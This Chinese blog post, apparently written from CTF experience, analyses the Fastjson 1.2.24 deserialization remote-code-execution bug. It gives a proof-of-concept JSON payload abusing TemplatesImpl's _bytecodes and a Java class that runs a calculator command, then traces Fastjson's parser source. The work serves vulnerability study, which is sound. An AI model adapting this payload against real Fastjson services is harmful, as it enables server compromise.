Learning Man's Blog

Fastjson 反序列化漏洞研究

字数统计: 2.2k阅读时长: 10 min
2019/03/07 Share

许久许久前在打 CTF 时候遇到的,这里重新记录下初级利用,更多姿势正在温习中~

0x01 简介

fastjson是一个java编写的高性能功能非常完善的JSON库,应用范围非常广,在github上star数都超过8k,在2017年3月15日,fastjson官方主动爆出fastjson在1.2.24及之前版本存在远程代码执行高危安全漏洞。攻击者可以通过此漏洞远程执行恶意代码来入侵服务器。

0x02 利用条件

  1. Version <= 1.2.24
  2. 可以利用 1.2.22 <= Version <= 1.2.24,因为此后才支持SupportNonPublicField
  3. 使用parseObjext解析且开启Feature.SupportNonPublicField

     JSON.parseObject(input, Object.class, Feature.SupportNonPublicField);
    

0x03 Poc

实际上_outputProperties也可以用outputProperties

{
  "@type" : "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
  "_bytecodes" : ["恶意类的base64encode"],
  "_name" : "Sariel.D",
  "_tfactory" : {},
  "_outputProperties" : {}
}

编译为.class后填充到_bytecodes中即可

// Poc.java
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Poc extends AbstractTranslet {

    public Poc() {
        try {
            Runtime.getRuntime().exec("open /Applications/Calculator.app");
        } catch (IOException e) {}
    }

    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler)
            throws TransletException {
    }
}

0x04 漏洞逻辑

使用parseObject方法进行反序列化,通过这种方法返回的是一个JSONObject

// 通过parse方法进行反序列化
User user = (User)JSON.parse(serializedStr);
// test.User@4e515669

// 通过parseObject方法进行反序列化  通过这种方法返回的是一个JSONObject
Object ob = JSON.parseObject(serializedStr);
// {"Username":"xiaoming","Sex":"male","sex":"male","username":"xiaoming"}


// 通过这种方式返回的是一个相应的类对象
Object obj1 = JSON.parseObject(serializedStr1,Object.class);
// test.User@1b9e1916

跟入

public static <T> T parseObject(String input, Type clazz, ParserConfig config, ParseProcess processor, int featureValues, Feature... features) {
    if (input == null) {
        return null;
    } else {
        if (features != null) {
            Feature[] var6 = features;
            ...
        }
        // 预解析内容和选项
        DefaultJSONParser parser = new DefaultJSONParser(input, config, featureValues);
        ...
        // 获取目标对象类型
        T value = parser.parseObject(clazz, (Object)null);  
        ...
    }
}

fastjson调用DefaultJSONParser进行预解析,通过第一个字符{判定lexer.token为12

// com.alibaba.fastjson.parser.DefaultJSONParser#DefaultJSONParser(java.lang.Object, com.alibaba.fastjson.parser.JSONLexer, com.alibaba.fastjson.parser.ParserConfig)

public DefaultJSONParser(Object input, JSONLexer lexer, ParserConfig config) {
    this.dateFormatPattern = JSON.DEFFAULT_DATE_FORMAT;
    ...
    this.lexer = lexer;
    this.input = input;
    this.config = config;
    this.symbolTable = config.symbolTable;
    int ch = lexer.getCurrent();
    if (ch == '{') {
        lexer.next();
        ((JSONLexerBase)lexer).token = 12;
    } else if (ch == '[') {
        lexer.next();
        ((JSONLexerBase)lexer).token = 14;
    } else {
        lexer.nextToken();
    }

}

第二步获取目标对象类型

// com.alibaba.fastjson.parser.DefaultJSONParser#parseObject(java.lang.reflect.Type, java.lang.Object)

public <T> T parseObject(Type type, Object fieldName) {
    int token = this.lexer.token();
    if (token == 8) {
        ...
    } else {
        if (token == 4) {
            ...
        }

        // 获取目标对象反序列化解析器
        ObjectDeserializer derializer = this.config.getDeserializer(type);

        try {
            // 执行反序列化
            return derializer.deserialze(this, type, fieldName);
        } catch (JSONException var6) {
            ...
        }
    }
}

目标是Object

// com.alibaba.fastjson.parser.ParserConfig#getDeserializer(java.lang.reflect.Type)

public ObjectDeserializer getDeserializer(Type type) {
    // 从内部已注册的查找目标反序列化实例
    ObjectDeserializer derializer = (ObjectDeserializer)this.derializers.get(type);
    if (derializer != null) {
        // ※ 第一次,这里返回 class java.lang.Object
        return derializer;
    } else if (type instanceof Class) {
        // 根据特定类型进行查找
        // 第二次,这返回 class com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
        return this.getDeserializer((Class)type, type);
    } else if (type instanceof ParameterizedType) {
        // 根据泛型类原始类型查找
        Type rawType = ((ParameterizedType)type).getRawType();
        // 如果是泛型原始类型是引用类型再次查找
        return rawType instanceof Class ? this.getDeserializer((Class)rawType, type) : this.getDeserializer(rawType);
    } else {
        return 
        // 如果无法匹配,使用默认JavaObjectDeserializer反序列化
        JavaObjectDeserializer.instance;
    }
}

进入反序列化,进入到parser.parse(fieldName),注意到上面定义有fieladNane == (Object)null

// com.alibaba.fastjson.parser.deserializer.JavaObjectDeserializer#deserialze

public <T> T deserialze(DefaultJSONParser parser, Type type, Object fieldName) {
    if (type instanceof GenericArrayType) {
        ...
    } else {
        return type instanceof Class && type != Object.class && type != Serializable.class ? parser.parseObject(type) : parser.parse(fieldName);
    }
}

跟入后开始解析

// com.alibaba.fastjson.parser.DefaultJSONParser#parse(java.lang.Object)

public Object parse(Object fieldName) {
    JSONLexer lexer = this.lexer;
    switch(lexer.token()) {
    ...
    case 12:
        JSONObject object = new JSONObject(lexer.isEnabled(Feature.OrderedField));
        return this.parseObject((Map)object, fieldName);
    ...
    }
}

接下这段就比较复杂,首先遇到的是第一个key@type,然后进行了以下的判断,如果是@type并且启用了特殊key检查的话,那么就把对应的value作为类来加载

// com.alibaba.fastjson.parser.DefaultJSONParser#parseObject(java.util.Map, java.lang.Object)

if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
    ref = lexer.scanSymbol(this.symbolTable, '"');
    Class<?> clazz = TypeUtils.loadClass(ref, this.config.getDefaultClassLoader());
    if (clazz != null) {
        lexer.nextToken(16);
        if (lexer.token() != 13) {
            ...
            ObjectDeserializer deserializer = this.config.getDeserializer(clazz);
            thisObj = deserializer.deserialze(this, clazz, fieldName);
            return thisObj;
        }
        ...

到这里感觉就是先粗加工(准备默认Object反序列化),然后根据配置信息以及预处理内容进行精加工(准备目标类型反序列化)

接着进入com.alibaba.fastjson.parser.ParserConfig#getDeserializer(java.lang.reflect.Type),在这里对目标类型进行各种比较,如果是常见类直接返回相应实例,fastjson也内置了一些常见的反序列化方法,由于com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl并不常见,且不再黑名单中,所以最后调用createJavaBeanDeserializer进行反序列化,

接着调用JavaBeanInfo.build

// com.alibaba.fastjson.parser.ParserConfig#createJavaBeanDeserializer

public JavaBeanDeserializer(ParserConfig config, Class<?> clazz, Type type){
    this(config, JavaBeanInfo.build(clazz, type, config.propertyNamingStrategy));
}

com.alibaba.fastjson.util.JavaBeanInfo#build里,会把目标类的方法和字段遍历一遍,分不同情况进行处理。类里面没有用@JSONField标记过的方法需要满足一些条件才能被加到列表里

比如需要满足以下条件的setter

  • 函数名长度 >= 4
  • 非静态函数
  • 返回类型要么是void要么是当前类
  • 参数只有一个
  • 方法名需要以set开头

这些方法是典型的类成员变量的setter方法。通过这些方法的名字可以推测出对应的成员变量的名字。除了按照javaBean的规范来解析,fastjson还会推测一些其他的写法。

  • 第4个字母大写或者是Unicode,取set后面的字符并将第一个字符转成小写当做变量名
  • 第4个字母是_,取_后面的字符当做变量名
  • 第4个字母是f,取set后面的字符当做变量名
  • 第5个字母大写或长度大于等于5,取set后面的字符在TypeUtils.decapitalize中决定是否小写首字符

满足以下条件的getter

  • 函数名长度 >= 4
  • 非静态函数
  • 函数名称以get起始,且第四个字符为大写字母
  • 函数没有入参
  • 继承自Collection || Map || AtomicBoolean || AtomicInteger || AtomicLong

以及 Field – 条件暂时不看


通过解析目标类中的method预测fields进行填充后,准备反序列化

在这里循环fields先赋默认值再进行匹配赋值

// com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#deserialze(com.alibaba.fastjson.parser.DefaultJSONParser, java.lang.reflect.Type, java.lang.Object, java.lang.Object, int)

protected <T> T deserialze(DefaultJSONParser parser, Type type, Object fieldName, Object object, int features) {
    if (fieldIndex < this.sortedFieldDeserializers.length) {
        fieldDeser = this.sortedFieldDeserializers[fieldIndex];
        fieldInfo = fieldDeser.fieldInfo;
        fieldClass = fieldInfo.fieldClass;
        feildAnnotation = fieldInfo.getAnnotation();
    }

    while(true){
        label978: {
            label1008: {
                boolean matchField = false;
                boolean valueParsed = false;
                Object fieldValue = null;
                if (fieldDeser != null) {
                    ...
                }
                if (!matchField) {
                    ...
                }
                if (object == null && fieldValues == null) {
                    ...
                }
                if (matchField) {
                    ...
                } else {
                    boolean match = this.parseField(parser, key, object, type, fieldValues);
                    ...
                }
            }
        }
    }
    ...
}

进入parseFiled进行解析,首先经过smartMatch对目标变量进行处理,这里会删除下标_

// com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#parseField

public boolean parseField(DefaultJSONParser parser, String key, Object object, Type objectType, Map<String, Object> fieldValues) {
    ...
    FieldDeserializer fieldDeserializer = this.smartMatch(key);
    ...
    if (fieldDeserializer == null && (parser.lexer.isEnabled(mask) || (this.beanInfo.parserFeatures & mask) != 0)) {
        ...
    }

    if (fieldDeserializer == null) {
        ...
    } else {
        ...
        ((FieldDeserializer)fieldDeserializer).parseField(parser, object, objectType, fieldValues);
        return true;
    }
}

再进入对应的反序列器的parseField方法,首先通过反序列化获取值,再通过setValue进行赋值

// com.alibaba.fastjson.parser.deserializer.DefaultFieldDeserializer#parseField

public void parseField(DefaultJSONParser parser, Object object, Type objectType, Map<String, Object> fieldValues) {
    ...

    Object value;
    if (this.fieldValueDeserilizer instanceof JavaBeanDeserializer) {
        ...
    } else if (this.fieldInfo.format != null && this.fieldValueDeserilizer instanceof ContextObjectDeserializer) {
        ...
    } else {
        value = this.fieldValueDeserilizer.deserialze(parser, fieldType, this.fieldInfo.name);
    }

    if (parser.getResolveStatus() == 1) {
        ...
    } else if (object == null) {
        ...
    } else {
        this.setValue(object, value);
    }

}

_bytecodes解析时会进入com.alibaba.fastjson.serializer.ObjectArrayCodec#deserialze调用bytesValue,这里先解码一次base64

// com.alibaba.fastjson.parser.JSONScanner#bytesValue

public byte[] bytesValue() {
    return IOUtils.decodeBase64(this.text, this.np + 1, this.sp);
}

当执行到_outputProperties时,通过smartMatch匹配到对应函数为getOutputProperties,之后进入赋值

Properties 继承 Hashtable 实现了 Map,进入反射

接下来就是连续调用

public synchronized Properties getOutputProperties() {
    try {
        return newTransformer().getOutputProperties();
    ...
}
public synchronized Transformer newTransformer() throws TransformerConfigurationException
{
    TransformerImpl transformer;

    transformer = new TransformerImpl(getTransletInstance(), _outputProperties, _indentNumber, _tfactory);

    ...
}
private Translet getTransletInstance() throws TransformerConfigurationException {
    try {
        ...

        if (_class == null) defineTransletClasses();

        // The translet needs to keep a reference to all its auxiliary
        // class to prevent the GC from collecting them
        AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
        ...

这里需要注意一点,Poc类需要继承自AbstractTranslet,否则会抛出异常

private void defineTransletClasses() throws TransformerConfigurationException {

    if (_bytecodes == null) {
        ...
    }

    ...

    try {
        final int classCount = _bytecodes.length;
        _class = new Class[classCount];

        if (classCount > 1) {
            _auxClasses = new HashMap<>();
        }

        for (int i = 0; i < classCount; i++) {
            _class[i] = loader.defineClass(_bytecodes[i]);
            final Class superClass = _class[i].getSuperclass();

            // Check if this is the main class
            if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
                _transletIndex = i;
            }
            else {
                _auxClasses.put(_class[i].getName(), _class[i]);
            }

            ...

攻击链

getOutputProperties() -> getTransletInstance() -> getTransletInstance() -> AbstractTranslet newInstance()

偷懒大法,贴上调用链

参考资料

  1. private成员变量的处理:https://xz.aliyun.com/t/178#toc-2
  2. ※ 补丁绕过:https://p0sec.net/index.php/archives/123/
  3. ※ 利用思路:https://5alt.me/2017/09/fastjson调试利用记录/
  4. 利用TemplatesImpl作者:http://xxlegend.com/2017/04/29/title-%20fastjson%20远程反序列化poc的构造和分析/

原文作者:Sariel.D

原文链接:https://blog.sari3l.com/posts/284d4995/

发表日期:March 7th 2019, 9:42:26 am

版权声明:本文采用知识共享署名-非商业性使用 4.0 国际许可协议进行许可

CATALOG
  1. 1. 0x01 简介
  2. 2. 0x02 利用条件
  3. 3. 0x03 Poc
  4. 4. 0x04 漏洞逻辑
  5. 5. 参考资料